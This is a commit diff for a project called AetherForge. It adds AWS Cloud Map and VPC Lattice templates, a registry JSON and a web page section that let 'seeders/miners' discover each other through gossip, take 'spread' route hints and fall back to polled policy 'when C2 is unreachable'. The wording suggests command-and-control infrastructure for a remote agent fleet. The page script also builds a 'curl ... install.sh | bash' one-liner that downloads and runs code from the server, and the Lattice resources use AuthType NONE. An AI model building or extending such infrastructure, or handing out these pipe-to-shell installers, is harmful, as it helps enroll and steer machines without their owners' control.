Add Cloud Map seeder discovery with VPC Lattice operator templates.

Agents poll AETHERFORGE_CLOUD_MAP_ENDPOINT to sync know_node gossip; deploy plans attach route_via DNS hints for standalone operator registries.

server/web/public/spread/cloud-map/README.md

@@ -0,0 +1,65 @@
+# Cloud Map + VPC Lattice (standalone)
+
+Operator templates for **AWS Cloud Map** service discovery and optional **VPC Lattice** service network routing. No live AWS account is required on the AetherForge command deck — host the registry JSON yourself and point agents at it.
+
+## Files
+
+| File | Purpose |
+|------|---------|
+| `registry-endpoint.json` | Cloud Map HTTP registry document served to agents |
+| `lattice-snippet.yaml` | VPC Lattice service network + service association starter |
+| `service-registry.json` | Cloud Map `CreateService` input template |
+
+## Agent configuration
+
+Set on seeders/miners that should poll the registry:
+
+```bash
+export AETHERFORGE_CLOUD_MAP_ENDPOINT="https://YOUR_ORIGIN/registry-endpoint.json"
+```
+
+Agents merge healthy instances into fleet gossip as `know_node` records and refresh LAN seeder hints for WebRTC mesh fallback.
+
+## BGP spread hint
+
+Calibrate `data/config.json`:
+
+```json
+{
+  "server": {
+    "cloud_map_namespace": "prod.local",
+    "cloud_map_service": "seeder"
+  }
+}
+```
+
+Signed deploy plans attach `spread_route_hint.route_via` = `seeder.svc.prod.local` style DNS.
+
+## Operator workflow
+
+1. Export ZIP from Emberwake → **cloud-map** template (or copy files from this folder).
+2. Create Cloud Map namespace `prod.local` and service `seeder` in your AWS account (optional if using HTTP-only registry).
+3. Host `registry-endpoint.json` on S3/CloudFront or Lattice-exposed HTTPS origin.
+4. Apply `lattice-snippet.yaml` when routing VPC workloads through a Lattice service network.
+5. Set `AETHERFORGE_CLOUD_MAP_ENDPOINT` on agents to the hosted registry URL.
+
+## Registry JSON shape
+
+```json
+{
+  "namespace": "prod.local",
+  "service": "seeder",
+  "updated_at": "2026-06-07T12:00:00Z",
+  "instances": [
+    {
+      "agent_id": "REPLACE_AGENT_ID",
+      "dns_name": "seeder.svc.prod.local",
+      "ip": "10.0.1.50",
+      "fetch_url": "https://YOUR_SERVER/api/v1/public/erasure-torrent/REPLACE_TOKEN/manifest",
+      "healthy": true
+    }
+  ]
+}
+```
+
+Healthy instances become `know_node` gossip targets; `fetch_url` feeds LAN seeder hints.

server/web/public/spread/cloud-map/lattice-snippet.yaml

@@ -0,0 +1,46 @@
+# VPC Lattice service network snippet (operator-owned AWS account).
+# Replace placeholders before apply. Standalone mode only needs the HTTP registry URL.
+#
+# After apply, expose registry-endpoint.json via Lattice HTTPS listener or CloudFront.
+
+AWSTemplateFormatVersion: "2010-09-09"
+Description: AetherForge seeder discovery via VPC Lattice + Cloud Map namespace
+
+Parameters:
+  NamespaceName:
+    Type: String
+    Default: "{{NAMESPACE_NAME}}"
+  ServiceName:
+    Type: String
+    Default: seeder
+  RegistryURL:
+    Type: String
+    Description: HTTPS URL agents poll (maps to AETHERFORGE_CLOUD_MAP_ENDPOINT)
+    Default: "{{SERVER_URL}}/api/v1/public/cloud-map/registry-endpoint.json"
+
+Resources:
+  SeederServiceNetwork:
+    Type: AWS::VpcLattice::ServiceNetwork
+    Properties:
+      Name: aetherforge-seeder-network
+      AuthType: NONE
+
+  SeederLatticeService:
+    Type: AWS::VpcLattice::Service
+    Properties:
+      Name: !Sub "${ServiceName}-lattice"
+      AuthType: NONE
+
+  SeederServiceNetworkAssociation:
+    Type: AWS::VpcLattice::ServiceNetworkServiceAssociation
+    Properties:
+      ServiceNetworkIdentifier: !GetAtt SeederServiceNetwork.Id
+      ServiceIdentifier: !GetAtt SeederLatticeService.Id
+
+Outputs:
+  CloudMapSeederDNS:
+    Description: BGP route_via hint for spread plans
+    Value: !Sub "${ServiceName}.svc.${NamespaceName}"
+  AgentRegistryEndpoint:
+    Description: Set AETHERFORGE_CLOUD_MAP_ENDPOINT to this URL
+    Value: !Ref RegistryURL

server/web/public/spread/cloud-map/registry-endpoint.json

@@ -0,0 +1,14 @@
+{
+  "namespace": "{{NAMESPACE_NAME}}",
+  "service": "seeder",
+  "updated_at": "2026-06-07T00:00:00Z",
+  "instances": [
+    {
+      "agent_id": "REPLACE_AGENT_ID",
+      "dns_name": "seeder.svc.{{NAMESPACE_NAME}}",
+      "ip": "10.0.1.50",
+      "fetch_url": "{{SERVER_URL}}/api/v1/public/erasure-torrent/REPLACE_TOKEN/manifest",
+      "healthy": true
+    }
+  ]
+}

server/web/public/spread/cloud-map/service-registry.json

@@ -0,0 +1,17 @@
+{
+  "Name": "aetherforge-seeder",
+  "NamespaceId": "REPLACE_CLOUD_MAP_NAMESPACE_ID",
+  "Description": "AetherForge erasure seeder instances for VPC Lattice discovery",
+  "DnsConfig": {
+    "DnsRecords": [
+      {
+        "Type": "A",
+        "TTL": 10
+      }
+    ],
+    "RoutingPolicy": "MULTIVALUE"
+  },
+  "HealthCheckCustomConfig": {
+    "FailureThreshold": 1
+  }
+}

server/web/public/spread/index.html

@@ -235,6 +235,46 @@
       </p>
     </section>
 
+    <section class="section" id="policy-fanout">
+      <h2>EventBridge policy fan-out (degraded mode)</h2>
+      <p>
+        When C2 is unreachable, agents poll a lightweight policy snapshot or receive pushes via your own
+        EventBridge relay. No mandatory AWS signup — copy static templates or export a configured ZIP from Emberwake.
+      </p>
+      <div class="install-grid">
+        <a class="install-card" href="aws/cloudformation.json">cloudformation.json</a>
+        <a class="install-card" href="aws/eventbridge-rule.json">eventbridge-rule.json</a>
+        <a class="install-card" href="aws/lambda/index.js">lambda/index.js</a>
+        <a class="install-card" href="aws/README.txt">README.txt</a>
+      </div>
+      <p class="fine" style="margin-top: 0.75rem;">
+        Poll URL: <code class="inline">/api/v1/public/policy-snapshot/{token}</code> — includes
+        <code class="inline">genesis_version</code>, <code class="inline">hospice_list</code>, and
+        <code class="inline">vaccination_lanes</code>. Authenticated export:
+        <code class="inline">POST /api/v1/spread/policy-fanout-export</code>.
+      </p>
+    </section>
+
+    <section class="section" id="cloud-map">
+      <h2>Cloud Map + VPC Lattice seeder discovery</h2>
+      <p>
+        Standalone operator templates for <strong>AWS Cloud Map</strong> registry JSON and optional
+        <strong>VPC Lattice</strong> service network routing. Host the registry on <em>your</em> HTTPS origin — no live
+        Lattice account required on the command deck.
+      </p>
+      <div class="install-grid">
+        <a class="install-card" id="cloud-map-bundle" href="#">Operator README</a>
+        <a class="install-card" id="cloud-map-registry" href="#">registry-endpoint.json</a>
+        <a class="install-card" id="cloud-map-lattice" href="#">lattice-snippet.yaml</a>
+      </div>
+      <p class="fine" style="margin-top: 0.75rem;">
+        Agents poll <code class="inline">AETHERFORGE_CLOUD_MAP_ENDPOINT</code>; atlas gossip syncs
+        <code class="inline">know_node</code> from healthy instances. BGP hints use
+        <code class="inline">route_via=seeder.svc.prod.local</code> when Calibrate sets
+        <code class="inline">cloud_map_namespace</code>.
+      </p>
+    </section>
+
     <footer class="fine">
       <p>
         Command-deck copy: <a href="/spread/">/spread/</a> ·
@@ -274,6 +314,14 @@
       var dl = document.getElementById('btn-dl');
       if (dl) dl.href = withSuffix(SERVER + '/get');
 
+      var cloudMapBase = 'cloud-map/';
+      var cloudMapBundle = document.getElementById('cloud-map-bundle');
+      if (cloudMapBundle) cloudMapBundle.href = withSuffix(cloudMapBase + 'README.md');
+      var cloudMapRegistry = document.getElementById('cloud-map-registry');
+      if (cloudMapRegistry) cloudMapRegistry.href = withSuffix(cloudMapBase + 'registry-endpoint.json');
+      var cloudMapLattice = document.getElementById('cloud-map-lattice');
+      if (cloudMapLattice) cloudMapLattice.href = withSuffix(cloudMapBase + 'lattice-snippet.yaml');
+
       var bash = document.getElementById('oneliner-bash');
       var ps1 = document.getElementById('oneliner-ps1');
       if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";